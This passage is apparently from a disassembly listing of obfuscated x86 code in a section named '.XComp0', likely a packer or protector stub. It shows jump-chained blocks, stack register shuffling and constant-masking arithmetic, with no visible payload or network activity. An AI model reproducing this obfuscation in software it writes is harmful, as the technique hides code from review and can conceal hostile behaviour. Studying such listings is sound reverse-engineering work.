ebp, [esp] add esp, 4 jmp loc_59786B ; --------------------------------------------------------------------------- loc_59101D: ; CODE XREF: .XComp0:0059583Fj add dword ptr [esp], 4 pop ebp add ebp, 4 jmp loc_58DF38 ; --------------------------------------------------------------------------- loc_591030: ; CODE XREF: .XComp0:0059776Dj xor edx, [esp] pop esp push edi mov edi, esp jmp loc_5983BF ; --------------------------------------------------------------------------- loc_59103C: ; CODE XREF: .XComp0:005899D2j pop esp jmp loc_58D089 ; --------------------------------------------------------------------------- loc_591042: ; CODE XREF: .XComp0:0058A62Ej sub ebx, edx pop edx jmp loc_592788 ; --------------------------------------------------------------------------- loc_59104A: ; CODE XREF: .XComp0:00594798j shr ah, 2 add ah, 0D6h add dh, ah pop eax add al, 6Fh jmp loc_58AA03 ; --------------------------------------------------------------------------- loc_59105A: ; CODE XREF: .XComp0:0059803Bj pop ebp jmp loc_597B9E ; --------------------------------------------------------------------------- loc_591060: ; CODE XREF: .XComp0:00597A3Bj pop eax sub esp, 4 mov [esp], eax mov eax, 6FAF4DF7h sub ebp, eax pop eax add ebx, 0C862900h sub ebx, 6DC323F5h jmp loc_5923A7 ; --------------------------------------------------------------------------- loc_591083: ; CODE XREF: .XComp0:0058B10Aj test cx, ax pushf jmp loc_597CAD ; --------------------------------------------------------------------------- push ebx mov ebx, esp jmp loc_585216 ; --------------------------------------------------------------------------- loc_591094: ; CODE XREF: .XComp0:00597E49j add ebx, eax sub ebx, 50AA1E6Ch jmp loc_59208A ; --------------------------------------------------------------------------- loc_5910A1: ; CODE XREF: .XComp0:00597032j push di jmp loc_58CDEE ; --------------------------------------------------------------------------- loc_5910A8: ; CODE XREF: .XComp0:0058C2F2j add ebx, eax mov eax, [esp] add esp, 4 sub edx, 735C228Eh add edx, ebx jmp loc_591222 ; --------------------------------------------------------------------------- loc_5910C0: ; CODE XREF: .XComp0:00596C28j push ecx mov ecx, 188E169Ch xor [esp+4], ecx pop ecx pop edi xor edi, 188E169Ch pop ecx sub edx, edi mov edi, [esp] add esp, 4 and eax, edx pop edx or eax, eax jnz loc_584765 push edi push ebp mov ebp, 64131E83h jmp loc_589EE4 ; --------------------------------------------------------------------------- loc_5910F5: ; CODE XREF: .XComp0:0059309Bj pop esp jmp loc_592079 ; --------------------------------------------------------------------------- loc_5910FB: ; CODE XREF: .XComp0:0058CE47j pop edx add edx, 4 add edx, 4 jmp loc_5853C1 ; --------------------------------------------------------------------------- loc_59110D: ; CODE XREF: .XComp0:00587C0Fj sub ebp, 0A627979h jmp loc_58F6E7 ; --------------------------------------------------------------------------- loc_591118: ; CODE XREF: .XComp0:0058B014j push edi jmp loc_58AE3B ; --------------------------------------------------------------------------- loc_59111E: ; CODE XREF: .XComp0:005977CEj xchg ebp, [esp] jmp loc_5924BB ; --------------------------------------------------------------------------- loc_591126: ; CODE XREF: .XComp0:00589576j mov edx, 24751BAh sub edx, 8A37F2BDh jmp loc_59879B ; --------------------------------------------------------------------------- loc_591136: ; CODE XREF: .XComp0:005888F8j xor al, 61h sub cl, al mov eax, [esp] add esp, 4 add cl, bl add cl, 52h pop bx add al, cl pop ecx add al, bl push 15A2h mov [esp], ecx mov ch, 8Ah jmp loc_597291 ; --------------------------------------------------------------------------- loc_59115E: ; CODE XREF: .XComp0:0058EA35j push esp jmp loc_5981D7 ; --------------------------------------------------------------------------- loc_591164: ; CODE XREF: .XComp0:0058ED8Fj pop dword ptr [esp] jmp loc_586873 ; --------------------------------------------------------------------------- loc_59116C: ; CODE XREF: .XComp0:00596EC3j inc edi push ebp jmp loc_585F77 ; --------------------------------------------------------------------------- loc_591173: ; CODE XREF: .XComp0:00598B77j push 2C97h mov [esp], ecx mov ecx, 4 add ebx, 0FFD7818h add ebx, ecx sub ebx, 0FFD7818h pop ecx xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] push eax push esp pop eax add eax, 4 jmp loc_58BAB7 ; --------------------------------------------------------------------------- loc_5911A8: ; CODE XREF: .XComp0:00593478j add esp, 4 push 5AB9h mov [esp], eax push 4 pop eax add ebx, 0E0B4032h jmp loc_5869AE ; --------------------------------------------------------------------------- loc_5911C7: ; CODE XREF: .XComp0:00594D8Ej mov ebp, 3C986957h and ebp, 700D377Bh and ebp, 7FEE1BBDh jmp loc_586F10 ; --------------------------------------------------------------------------- lodsb sub esp, 2 mov [esp], bx push small 6866h mov [esp], dx mov dl, 31h mov bl, dl mov dx, [esp] add esp, 2 sub al, bl mov bx, [esp] add esp, 2 add al, 6Ah push ebx mov bl, 4Bh add al, 7Ah jmp loc_58627C ; --------------------------------------------------------------------------- loc_591210: ; CODE XREF: .XComp0:0058427Aj mov [esp], edx sub dword ptr [esp], 27DE4AFEh push dword ptr [esp] jmp loc_598345 ; --------------------------------------------------------------------------- loc_591222: ; CODE XREF: .XComp0:005910BBj sub esp, 4 mov [esp], ebp mov ebp, 1CFB2F1Eh sub ebp, 0A99F0C90h add edx, ebp pop ebp pop ebx add edx, 4 xor edx, [esp] jmp loc_58A758 ; --------------------------------------------------------------------------- loc_591245: ; CODE XREF: .XComp0:00591DC1j sub bh, 1Eh push 2E6Fh jmp loc_593522 ; --------------------------------------------------------------------------- loc_591252: ; CODE XREF: .XComp0:00595E57j mov esi, [esp] add esp, 4 add edi, 642F2BB3h add edi, 33C4743Ch sub edi, 0CDF15A7h add edi, esi jmp loc_58F61B ; --------------------------------------------------------------------------- loc_591274: ; CODE XREF: .XComp0:0058D980j pop edx add ebx, edi pop edi jmp loc_586B61 ; --------------------------------------------------------------------------- loc_59127D: ; CODE XREF: .XComp0:005880D9j pop eax mov edx, [esp] add esp, 4 xchg esi, [esp] jmp loc_58C392 ; --------------------------------------------------------------------------- loc_59128C: ; CODE XREF: .XComp0:0058E913j shr ebx, 8 or ebx, 1CDF409Ah neg ebx sub ebx, 8926748Ch sub esi, ebx pop ebx add esi, edx push edx mov edx, 0D691CF0h neg edx and edx, 39C147C2h dec edx shl edx, 2 push edx push ecx jmp loc_58BB2C ; --------------------------------------------------------------------------- loc_5912BB: ; CODE XREF: .XComp0:00588DA9j xchg ebx, [esp] pop esp push esi push ecx mov ecx, 4 mov esi, ecx jmp loc_589DD8 ; --------------------------------------------------------------------------- loc_5912CD: ; CODE XREF: .XComp0:0058B4FBj mov edi, esp add edi, 4 add edi, 4 xor edi, [esp] jmp loc_590A94 ; --------------------------------------------------------------------------- loc_5912E0: ; CODE XREF: .XComp0:00598755j add ch, bh pop ebx and ch, 0E5h push 1EDBh mov [esp], ebx mov bh, 74h jmp loc_588D0D ; --------------------------------------------------------------------------- loc_5912F5: ; CODE XREF: .XComp0:0058B0D8j mov edx, esp sub esp, 4 mov [esp], edi mov edi, 0C573416h jmp loc_5975F0 ; --------------------------------------------------------------------------- loc_591307: ; CODE XREF: .XComp0:0058AE44j mov ebx, 581C3BA8h sub ebx, 0FFFFFFFFh xor ebx, 581C3BADh add edi, ebx pop ebx jmp loc_585740 ; --------------------------------------------------------------------------- loc_59131D: ; CODE XREF: .XComp0:00590059j push dword ptr [esp] pop esi add esp, 4 jmp loc_58552B ; --------------------------------------------------------------------------- loc_591329: ; CODE XREF: .XComp0:00588BDEj sub edi, ebx pop ebx add edi, 0FFFFFFFFh neg edi sub edi, 0CA7DEDD5h mov ecx, edi mov edi, [esp] add esp, 4 jmp loc_593356 ; --------------------------------------------------------------------------- loc_591347: ; CODE XREF: .XComp0:0058A4B9j pop ecx jmp loc_585B3F ; --------------------------------------------------------------------------- loc_59134D: ; CODE XREF: .XComp0:00586AC5j mov ecx, [esp] add esp, 4 mov ebx, [esp] push ebp jmp loc_592E4D ; --------------------------------------------------------------------------- loc_59135F: ; CODE XREF: .XComp0:005865B7j pop esi sub ebx, 3C21047h jmp loc_58D469 ; --------------------------------------------------------------------------- loc_59136B: ; CODE XREF: .XComp0:00586239j mov ebp, 74173677h not ebp xor ebp, 0E38EFD7Bh sub eax, ebp jmp loc_598FED ; --------------------------------------------------------------------------- loc_59137F: ; CODE XREF: .XComp0:0059542Bj mov dx, cx pop ecx push bx push ecx mov cx, 0FFFFh push ebp jmp loc_59653D ; --------------------------------------------------------------------------- loc_591390: ; CODE XREF: .XComp0:00590FE1j mov ecx, esp add ecx, 4 jmp loc_58C74E ; --------------------------------------------------------------------------- loc_59139D: ; CODE XREF: .XComp0:0058AF1Ej pop dword ptr [esp] mov esp, [esp] shr byte ptr [esp], cl pushf jmp loc_5974D3 ; --------------------------------------------------------------------------- loc_5913AC: ; CODE XREF: .XComp0:00590F2Dj push edx pop esi mov ecx, esi push dword ptr [esp] pop esi push ebp mov ebp, esp jmp loc_58F97B ; --------------------------------------------------------------------------- loc_5913BC: ; CODE XREF: .XComp0:0058BE7Fj mov eax, [esp] add esp, 4 xor eax, ecx pop ecx push esi mov esi, 27BD465Bh dec esi push 11E3h mov [esp], edx push 47C0h mov [esp], ebx push 0CA203B0h pop ebx add ebx, 5A1C0DF0h push ebx jmp loc_59796B ; --------------------------------------------------------------------------- loc_5913F1: ; CODE XREF: .XComp0:0058C02Fj add edx, esi pop esi mov edi, [esp] push edi jmp loc_598455 ; --------------------------------------------------------------------------- loc_5913FD: ; CODE XREF: .XComp0:0058CED3j mov ebx, [esp] jmp loc_593754 ; --------------------------------------------------------------------------- loc_591405: ; CODE XREF: .XComp0:0059574Aj add esp, 4 push 1663h mov [esp], ecx mov ecx, 2Ch jmp loc_596F05 ; --------------------------------------------------------------------------- loc_59141D: ; CODE XREF: .XComp0:0058C7AFj xor ebp, [esp] pop esp push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], ebx push eax mov eax, 438747Bh inc eax push eax not dword ptr [esp] pop eax shr eax, 3 dec eax jmp loc_58AC79 ; --------------------------------------------------------------------------- loc_59144C: ; CODE XREF: .XComp0:00592D31j mov eax, 4 mov ecx, eax pop eax mov ebx, ecx pop ecx jmp loc_58904E ; --------------------------------------------------------------------------- loc_59145C: ; CODE XREF: .XComp0:0058C188j add ebx, edx jmp loc_58AD2E ; --------------------------------------------------------------------------- loc_591463: ; CODE XREF: .XComp0:0058FFB8j shl ecx, 1 or ecx, 23BE622Ah neg ecx and ecx, 12EC55F9h push edi mov edi, 0E978CE44h sub ecx, edi pop edi or eax, ecx pop ecx sub eax, 0BA700E0Bh mov edi, eax pop eax mov ecx, edi pop edi xor eax, ecx jmp loc_590F82 ; --------------------------------------------------------------------------- loc_591491: ; CODE XREF: .XComp0:005974EEj mov [esp], edi push dword ptr [esp+4] mov edi, [esp] push eax push esp push dword ptr [esp] pop eax add esp, 4 jmp loc_58438D ; --------------------------------------------------------------------------- loc_5914AC: ; CODE XREF: .XComp0:0058ED0Cj pop edx mov edi, ebp pop ebp jmp loc_586479 ; --------------------------------------------------------------------------- loc_5914B5: ; CODE XREF: .XComp0:0058D2D0j or ecx, 615C298Ch xor ecx, 305299DEh sub edi, ecx pop ecx pop edx push edi jmp loc_587097 ; --------------------------------------------------------------------------- loc_5914CB: ; CODE XREF: .XComp0:005848C9j mov dh, bl mov ebx, [esp] add esp, 4 push ebx push ecx mov cl, dh mov bl, cl pop ecx push 27BAh mov [esp], edx push ecx jmp loc_595977 ; --------------------------------------------------------------------------- loc_5914EB: ; CODE XREF: .XComp0:00597885j sub edx, 37862F05h pop edi jmp loc_592837 ; --------------------------------------------------------------------------- loc_5914F7: ; CODE XREF: .XComp0:0058CD4Dj sub dh, ah jmp loc_588040 ; --------------------------------------------------------------------------- loc_5914FE: ; CODE XREF: .XComp0:0058614Aj mov edx, 53BF54EEh jmp loc_59402E ; --------------------------------------------------------------------------- mov cx, [esp] push edi jmp loc_58E547 ; --------------------------------------------------------------------------- loc_591512: ; CODE XREF: .XComp0:005915A9j mov ebp, 0C859A159h sub esp, 4 mov [esp], ebx mov ebx, 3484FF2h xor ebx, 6FC73B97h jmp loc_594CB5 ; --------------------------------------------------------------------------- loc_591530: ; CODE XREF: .XComp0:00597555j push dword ptr [esp] mov edi, [esp] push eax jmp loc_596CDD ; --------------------------------------------------------------------------- loc_59153C: ; CODE XREF: .XComp0:00598AF5j mov edi, 4 add ebx, edi pop edi add ebx, 4 xchg ebx, [esp] pop esp dec ebx shl ebx, 7 jmp loc_587631 ; --------------------------------------------------------------------------- loc_591554: ; CODE XREF: .XComp0:0058E90Aj shl edi, 3 shr edi, 5 xor edi, 69A06A97h and edi, 75711A62h jmp loc_5964B7 ; --------------------------------------------------------------------------- loc_59156B: ; CODE XREF: .XComp0:00589D4Cj sub ebx, 7C6F320Dh xor ebx, 0B8D0CEF7h jmp loc_58BA27 ; --------------------------------------------------------------------------- loc_59157C: ; CODE XREF: .XComp0:0059371Fj add esp, 4 add ecx, 460A5D6Eh jmp loc_597E0E ; --------------------------------------------------------------------------- loc_59158D: ; CODE XREF: .XComp0:0058DFF8j push ecx jmp loc_58737E ; --------------------------------------------------------------------------- loc_591593: ; CODE XREF: .XComp0:0058839Ej dec bh dec bh xor bh, 92h sub cl, bh pop ebx dec cl jmp loc_598536 ; --------------------------------------------------------------------------- loc_5915A4: ; CODE XREF: .XComp0:0058ED13j mov edi, 72A67493h jmp loc_591512 ; --------------------------------------------------------------------------- loc_5915AE: ; CODE XREF: .XComp0:00596D05j pop esp mov [esp], edx mov edx, 319B3B50h sub esp, 4 mov [esp], ecx mov ecx, esp jmp loc_5876E5 ; --------------------------------------------------------------------------- loc_5915C4: ; CODE XREF: .XComp0:005875BBj pop dword ptr [esp] mov esp, [esp] imul cl jmp loc_598C77 ; --------------------------------------------------------------------------- loc_5915D1: ; CODE XREF: .XComp0:00589797j pop edi mov eax, ebp mov ebp, [esp] add esp, 4 jmp loc_596F9F ; --------------------------------------------------------------------------- loc_5915DF: ; CODE XREF: .XComp0:00589393j sub bl, al pop eax add dl, bl jmp loc_587785 ; --------------------------------------------------------------------------- loc_5915E9: ; CODE XREF: .XComp0:00590CB3j mov ebx, [esp] jmp loc_597A23 ; --------------------------------------------------------------------------- loc_5915F1: ; CODE XREF: .XComp0:005861A5j push esi mov esi, esp add esi, 4 jmp loc_58CAB2 ; --------------------------------------------------------------------------- loc_5915FF: ; CODE XREF: .XComp0:0058CF81j pop esp mov [esp], edi push edx jmp loc_58EB3A ; --------------------------------------------------------------------------- loc_591609: ; CODE XREF: .XComp0:00591944j push edx mov dl, 30h sub dl, 0E6h sub dl, 7Bh and dl, 7 dec dl shr dl, 1 jmp loc_5986A0 ; --------------------------------------------------------------------------- loc_59161E: ; CODE XREF: .XComp0:0058AF09j pop ecx add esp, 4 sub al, bh jmp loc_58D054 ; --------------------------------------------------------------------------- push dword ptr [esp] mov ecx, [esp] add esp, 4 push 5E8Ch jmp loc_594EF5 ; --------------------------------------------------------------------------- loc_59163F: ; CODE XREF: .XComp0:00594E3Aj add esi, 4 jmp loc_5953D1 ; --------------------------------------------------------------------------- loc_591647: ; CODE XREF: .XComp0:00590117j pop esi push eax jmp loc_586ADD ; --------------------------------------------------------------------------- loc_59164E: ; CODE XREF: .XComp0:00587D69j xchg edi, [esp] pop esp jmp loc_586D67 ; --------------------------------------------------------------------------- lodsd xor eax, ebx jmp loc_594767 ; --------------------------------------------------------------------------- loc_59165F: ; CODE XREF: .XComp0:00593539j mov dh, [esp] add esp, 2 push 0 sub byte ptr [esp], 0E6h sub [esp], dh add byte ptr [esp], 0E6h mov dh, [esp] add esp, 4 sub dh, 7Bh jmp loc_58FC0A ; --------------------------------------------------------------------------- loc_591683: ; CODE XREF: .XComp0:005936E0j pop edx add esp, 4 push esi mov esi, 71D81C1Eh sub ebx, 40B641D2h jmp loc_58FF00 ; --------------------------------------------------------------------------- loc_59169B: ; CODE XREF: .XComp0:0058F9B8j sub cl, 49h sub dl, cl pop ecx jmp loc_590896 ; --------------------------------------------------------------------------- loc_5916A6: ; CODE XREF: .XComp0:0058838Cj pop eax and ebp, ecx jmp loc_590C38 ; --------------------------------------------------------------------------- loc_5916AE: ; CODE XREF: .XComp0:00595E80j push esi mov esi, 1C0B70FEh jmp loc_58A623 ; --------------------------------------------------------------------------- loc_5916B9: ; CODE XREF: .XComp0:005875C9j pop bx not dl sub esp, 4 mov [esp], ebx jmp loc_58C91F ; --------------------------------------------------------------------------- loc_5916CB: ; CODE XREF: .XComp0:0058D1F6j neg ecx shl ecx, 8 sub ecx, 80A703AAh jmp loc_5951CB ; --------------------------------------------------------------------------- loc_5916DB: ; CODE XREF: .XComp0:00586248j mov ebp, 74D84416h sub ebp, 1 dec ebp shl ebp, 7 inc ebp jmp loc_58F50E ; --------------------------------------------------------------------------- loc_5916F0: ; CODE XREF: .XComp0:00587F5Cj mov [esp], ebx jmp loc_5978EE ; --------------------------------------------------------------------------- loc_5916F8: ; CODE XREF: .XComp0:00594E8Fj add esp, 2 xor cx, 668h push edx mov dx, 1493h and dx, 37E8h sub dx, 1 shl dx, 7 shl dx, 2 push 27A6h jmp loc_586D28 ; --------------------------------------------------------------------------- loc_591721: ; CODE XREF: .XComp0:00589926j mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_584A21 ; --------------------------------------------------------------------------- loc_591731: ; CODE XREF: .XComp0:00595F3Dj mov [esp], ebx mov bl, 6Dh add ch, 5Ah sub ch, 0CDh add ch, bl add ch, 0CDh sub ch, 5Ah pop ebx push eax jmp loc_58F8B4 ; --------------------------------------------------------------------------- loc_59174B: ; CODE XREF: .XComp0:00595771j sub al, dl pop edx sub al, 5Bh sub al, dl add al, 5Bh jmp loc_597B2C ; --------------------------------------------------------------------------- loc_591759: ; CODE XREF: .XComp0:0058ED3Cj mov edx, 7E85782Ch push edx dec dword ptr [esp] not dword ptr [esp] pop edx not edx xor edx, 5A961F11h jmp loc_59347D ; --------------------------------------------------------------------------- pop dword ptr [edx] jmp loc_583A60 ; --------------------------------------------------------------------------- loc_59177A: ; CODE XREF: .XComp0:0058B2ADj mov [esp], ebp mov ebp, esp jmp loc_58A95D ; --------------------------------------------------------------------------- loc_591784: ; CODE XREF: .XComp0:00596004j mov ecx, 38D6522Bh sub eax, ecx pop ecx xor ebx, eax pop eax sub ecx, ebx pop ebx push dword ptr [esp] pop esi add esp, 4 rep movsd add esp, [edx+38h] push 16E4h mov [esp], ecx push 1232h mov [esp], esi mov esi, 140B68A8h push 2020h mov [esp], ebp mov ebp, 61861519h and esi, ebp mov ebp, [esp] jmp loc_58B7F0 ; --------------------------------------------------------------------------- loc_5917CA: ; CODE XREF: .XComp0:00585EC4j pop esp jmp loc_5848A3 ; --------------------------------------------------------------------------- loc_5917D0: ; CODE XREF: .XComp0:00585F2Aj pop ebx sub edx, 5E3D00CCh add edx, ebx push edi push eax mov eax, 7C965D14h push esi mov esi, 65053B27h mov edi, 87B098FFh sub edi, esi pop esi xor edi, eax pop eax add edx, edi jmp loc_59393F ; --------------------------------------------------------------------------- loc_5917F8: ; CODE XREF: .XComp0:00597972j pop edx jmp loc_5863C9 ; --------------------------------------------------------------------------- loc_5917FE: ; CODE XREF: .XComp0:0058D31Cj push ebx jmp loc_5881AC ; --------------------------------------------------------------------------- loc_591804: ; CODE XREF: .XComp0:0058FCA1j shl edx, 3 sub edx, 1 jmp loc_586AEC ; --------------------------------------------------------------------------- loc_591812: ; CODE XREF: .XComp0:00584AD2j sub ebx, 3A7F5B09h mov eax, [esp] add esp, 4 sub esp, 4 jmp loc_5934A3 ; --------------------------------------------------------------------------- loc_591829: ; CODE XREF: .XComp0:0058E89Fj pop edx mov esi, [esp] push ebp jmp loc_58B2D8 ; --------------------------------------------------------------------------- loc_591833: ; CODE XREF: .XComp0:00593CE1j xchg ebx, [esp] pop esp mov [esp], edx push esp jmp loc_58A412 ; --------------------------------------------------------------------------- loc_591840: ; CODE XREF: .XComp0:00586E3Bj xor ebp, ecx pop ecx jmp loc_593594 ; --------------------------------------------------------------------------- loc_591848: ; CODE XREF: .XComp0:0059260Aj add ebx, ebp pop ebp xor ebx, 3F0E52C3h jmp loc_598E7D ; --------------------------------------------------------------------------- loc_591856: ; CODE XREF: .XComp0:005957EFj add ebx, 2 push ebx push dword ptr [esp+4] jmp loc_591B61 ; --------------------------------------------------------------------------- loc_591863: ; CODE XREF: .XComp0:00598F0Dj mov [esp], ecx mov ecx, esp push eax mov eax, 2B217CE5h neg eax add eax, 3A3F752Bh shr eax, 6 jmp loc_58F5A8 ; --------------------------------------------------------------------------- loc_59187D: ; CODE XREF: .XComp0:005904B5j add ebp, 4 push ebp push dword ptr [esp+4] pop ebp jmp loc_585ACB ; --------------------------------------------------------------------------- loc_59188E: ; CODE XREF: .XComp0:00587F56j mov edx, [esp] add esp, 4 add esp, 4 pop dword ptr [esp] jmp loc_587B86 ; --------------------------------------------------------------------------- loc_5918A2: ; CODE XREF: .XComp0:0058A8D8j sub eax, esi pop esi xchg eax, [esp] pop esp jmp loc_59534F ; --------------------------------------------------------------------------- loc_5918AE: ; CODE XREF: .XComp0:00590566j push edi mov edi, 53E82287h neg edi sub edi, 0AC17DD75h jmp loc_5886CE ; --------------------------------------------------------------------------- loc_5918C1: ; CODE XREF: .XComp0:0059577Ej xchg ebx, [esp] jmp loc_591C7F ; --------------------------------------------------------------------------- loc_5918C9: ; CODE XREF: .XComp0:0059315Cj mov [esp], edx jmp loc_589CA9 ; --------------------------------------------------------------------------- loc_5918D1: ; CODE XREF: .XComp0:0058A2DBj push ebx jmp loc_59485F ; --------------------------------------------------------------------------- loc_5918D7: ; CODE XREF: .XComp0:00596DA7j add edx, esi jmp loc_5981F9 ; --------------------------------------------------------------------------- loc_5918DE: ; CODE XREF: .XComp0:0058D946j sub ebx, 18EED79Bh jmp loc_5934B0 ; --------------------------------------------------------------------------- loc_5918E9: ; CODE XREF: .XComp0:00587A14j mov eax, ebx mov ebx, [esp] add esp, 4 jmp loc_58D09D ; --------------------------------------------------------------------------- loc_5918F9: ; CODE XREF: .XComp0:005962B4j mov edi, 3BC048E1h sub eax, edi push dword ptr [esp] mov edi, [esp] add esp, 4 push esi mov esi, esp jmp loc_594DE8 ; --------------------------------------------------------------------------- loc_591911: ; CODE XREF: .XComp0:005881D2j add eax, ebx mov ebx, [esp] add esp, 4 push dword ptr [esp] pop edx jmp loc_598B38 ; --------------------------------------------------------------------------- loc_591925: ; CODE XREF: .XComp0:005842ACj mov [esp], edi jmp loc_5854B4 ; --------------------------------------------------------------------------- loc_59192D: ; CODE XREF: .XComp0:0059214Aj xor edx, 7FDC73C6h jmp loc_58B0F6 ; --------------------------------------------------------------------------- loc_591938: ; CODE XREF: .XComp0:0058E045j add cl, 0B6h and cl, 6Eh add cl, 1 xor cl, 0BCh jmp loc_591609 ; --------------------------------------------------------------------------- loc_591949: ; CODE XREF: .XComp0:00588594j xor bl, ah jmp loc_5939D1 ; --------------------------------------------------------------------------- loc_591950: ; CODE XREF: .XComp0:00585405j add ecx, 4 jmp loc_58C5DF ; --------------------------------------------------------------------------- push dword ptr fs:[edx] jmp loc_583A60 ; --------------------------------------------------------------------------- loc_591963: ; CODE XREF: .XComp0:005941D8j add edx, 4 add edx, 4 jmp loc_592A30 ; --------------------------------------------------------------------------- loc_591974: ; CODE XREF: .XComp0:005926BAj pop dword ptr [esp] pop esp push 183h jmp loc_5955AC ; --------------------------------------------------------------------------- loc_591982: ; CODE XREF: .XComp0:0058D1C5j mov cl, al mov dh, cl pop ecx pop ax xor dh, 62h sub dh, 54h jmp loc_58AB68 ; --------------------------------------------------------------------------- loc_591994: ; CODE XREF: .XComp0:0058BB11j mov ebx, [esp] add esp, 4 xor al, cl mov cx, [esp] jmp loc_591BCD ; --------------------------------------------------------------------------- loc_5919A5: ; CODE XREF: .XComp0:00586D59j mov esi, 5C9C589Dh add eax, esi pop esi push edi jmp loc_598CD8 ; --------------------------------------------------------------------------- loc_5919B3: ; CODE XREF: .XComp0:00596B90j add edi, 4 xchg edi, [esp] pop esp push eax push esp pop eax jmp loc_585587 ; --------------------------------------------------------------------------- loc_5919C5: ; CODE XREF: .XComp0:00590637j pop edi push esi mov esi, 50FB6BBEh jmp loc_598DE2 ; --------------------------------------------------------------------------- loc_5919D1: ; CODE XREF: .XComp0:00589903j pop esi jmp loc_593111 ; --------------------------------------------------------------------------- loc_5919D7: ; CODE XREF: .XComp0:0058CB2Fj mov [esp], ebp mov ebp, 0FFFFFFFFh sub esp, 4 mov [esp], ebp pop ecx pop ebp sub eax, 50A9302Eh jmp loc_58479F ; --------------------------------------------------------------------------- loc_5919F4: ; CODE XREF: .XComp0:00592CE2j pop edx add ecx, esi sub ecx, 6C9601C1h pop esi push esi push 14EBh jmp loc_58775E ; --------------------------------------------------------------------------- loc_591A09: ; CODE XREF: .XComp0:0058A766j jmp loc_583A60 ; --------------------------------------------------------------------------- loc_591A0E: ; CODE XREF: .XComp0:00592074j xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] pop ecx jmp loc_58C80C ; --------------------------------------------------------------------------- loc_591A20: ; CODE XREF: .XComp0:005928A3j xor cl, 0D1h sub al, cl pop ecx add al, bl add al, 7Ch mov ebx, [esp] add esp, 4 jmp loc_58F4C5 ; --------------------------------------------------------------------------- loc_591A38: ; CODE XREF: .XComp0:0058BE3Fj push dword ptr [esp] pop ecx push ebp push esp mov ebp, [esp] add esp, 4 push edi push eax push ebx mov ebx, 0AD11E47h xor ebx, 7BF95AD7h xor ebx, 30913D3Ah mov eax, ebx pop ebx jmp loc_596B95 ; --------------------------------------------------------------------------- loc_591A60: ; CODE XREF: .XComp0:00584328j sub eax, 989040Ch add esi, eax pop eax add esi, 4 xchg esi, [esp] mov esp, [esp] add ebx, 46326CCBh add ebx, eax push eax mov eax, 1E221576h add eax, 28105755h sub ebx, eax pop eax sub ebx, 7DD13EC3h sub ebx, 710E4728h pop dword ptr [eax] jmp loc_583A60 ; --------------------------------------------------------------------------- loc_591A9D: ; CODE XREF: .XComp0:0058D68Ej mov [esp], ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop esp jmp loc_59650D ; --------------------------------------------------------------------------- loc_591AAE: ; CODE XREF: .XComp0:00589033j mov [esp], ebx mov ebx, 627819F4h jmp loc_5935D6 ; --------------------------------------------------------------------------- loc_591ABB: ; CODE XREF: .XComp0:00589CCFj add esp, 4 mov dh, 68h sub dh, ch pop ecx jmp loc_585008 ; --------------------------------------------------------------------------- loc_591ACB: ; CODE XREF: .XComp0:005936D3j add ebp, 4 xchg ebp, [esp] pop esp push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], edi sub esp, 4 jmp loc_586DAF ; --------------------------------------------------------------------------- loc_591AF6: ; CODE XREF: .XComp0:0058945Aj shl ebx, 4 jmp loc_58A84C ; --------------------------------------------------------------------------- loc_591AFE: ; CODE XREF: .XComp0:00587EA1j mov edi, ecx jmp loc_5933C1 ; --------------------------------------------------------------------------- loc_591B05: ; CODE XREF: .XComp0:00588AABj sub esp, 4 mov [esp], esi mov esi, 4 jmp loc_59843C ; --------------------------------------------------------------------------- loc_591B15: ; CODE XREF: .XComp0:00596F75j mov esi, ecx pop ecx sub esi, 0FFFFFFFFh not esi jmp loc_59745C ; --------------------------------------------------------------------------- loc_591B25: ; CODE XREF: .XComp0:00596398j mov eax, 2CBC0BC6h push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], esi mov esi, 0FFFFFFFFh sub eax, 41371974h sub eax, 771F1CCDh add eax, esi add eax, 771F1CCDh push ebp mov ebp, 754F5DFBh jmp loc_58C9E4 ; --------------------------------------------------------------------------- loc_591B61: ; CODE XREF: .XComp0:0059185Ej pop ebx jmp loc_5873AA ; --------------------------------------------------------------------------- loc_591B67: ; CODE XREF: .XComp0:0058464Ej push esp jmp loc_594D7B ; --------------------------------------------------------------------------- loc_591B6D: ; CODE XREF: .XComp0:0058C6ACj or esi, ebp pop ebp sub esi, 0AEFD7EFFh push eax mov eax, esi mov ecx, eax pop eax pop esi push edi push ecx mov edi, [esp] add esp, 4 sub esp, 4 mov [esp], edi jmp loc_586EE1 ; --------------------------------------------------------------------------- loc_591B93: ; CODE XREF: .XComp0:0058FCEEj pop esp sub esp, 4 jmp loc_584448 ; --------------------------------------------------------------------------- loc_591B9C: ; CODE XREF: .XComp0:0058D15Bj push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp push ecx mov ecx, esp jmp loc_586A6C ; --------------------------------------------------------------------------- loc_591BB4: ; CODE XREF: .XComp0:0058E9E3j xchg edi, [esp] mov esp, [esp] mov [esp], ebp mov ebp, 1CAC1540h xor ebp, 0C45DC54Bh jmp loc_598DC1 ; --------------------------------------------------------------------------- loc_591BCD: ; CODE XREF: .XComp0:005919A0j push ecx mov ecx, esp sub esp, 4 mov [esp], edx mov edx, 3D081E10h jmp loc_59827D ; --------------------------------------------------------------------------- loc_591BE0: ; CODE XREF: .XComp0:0058CD0Bj ; .XComp0:0058E45Fj push edx push edx mov edx, esp jmp loc_584EB0 ; --------------------------------------------------------------------------- loc_591BE9: ; CODE XREF: .XComp0:00588046j push bx mov bh, 65h or dh, bh pop bx sub dh, 43h mov ah, 7Ch jmp loc_59467A ; --------------------------------------------------------------------------- loc_591BFB: ; CODE XREF: .XComp0:00585F5Ej sub al, 1Fh jmp loc_590EA2 ; --------------------------------------------------------------------------- loc_591C02: ; CODE XREF: .XComp0:0058D52Dj inc ecx push 787Bh mov [esp], eax mov eax, 0A67FFFDBh add ecx, 16096312h add ecx, eax jmp loc_59035B ; --------------------------------------------------------------------------- loc_591C1D: ; CODE XREF: .XComp0:005959F3j xor dl, 67h add ah, dl pop edx add ah, dh sub ah, 60h pop dx sub ah, dh sub ah, 7Fh mov edx, [esp] add esp, 4 neg ah add ah, 2 shr ah, 4 sub ah, 0F0h push ebx mov bl, ah mov ch, 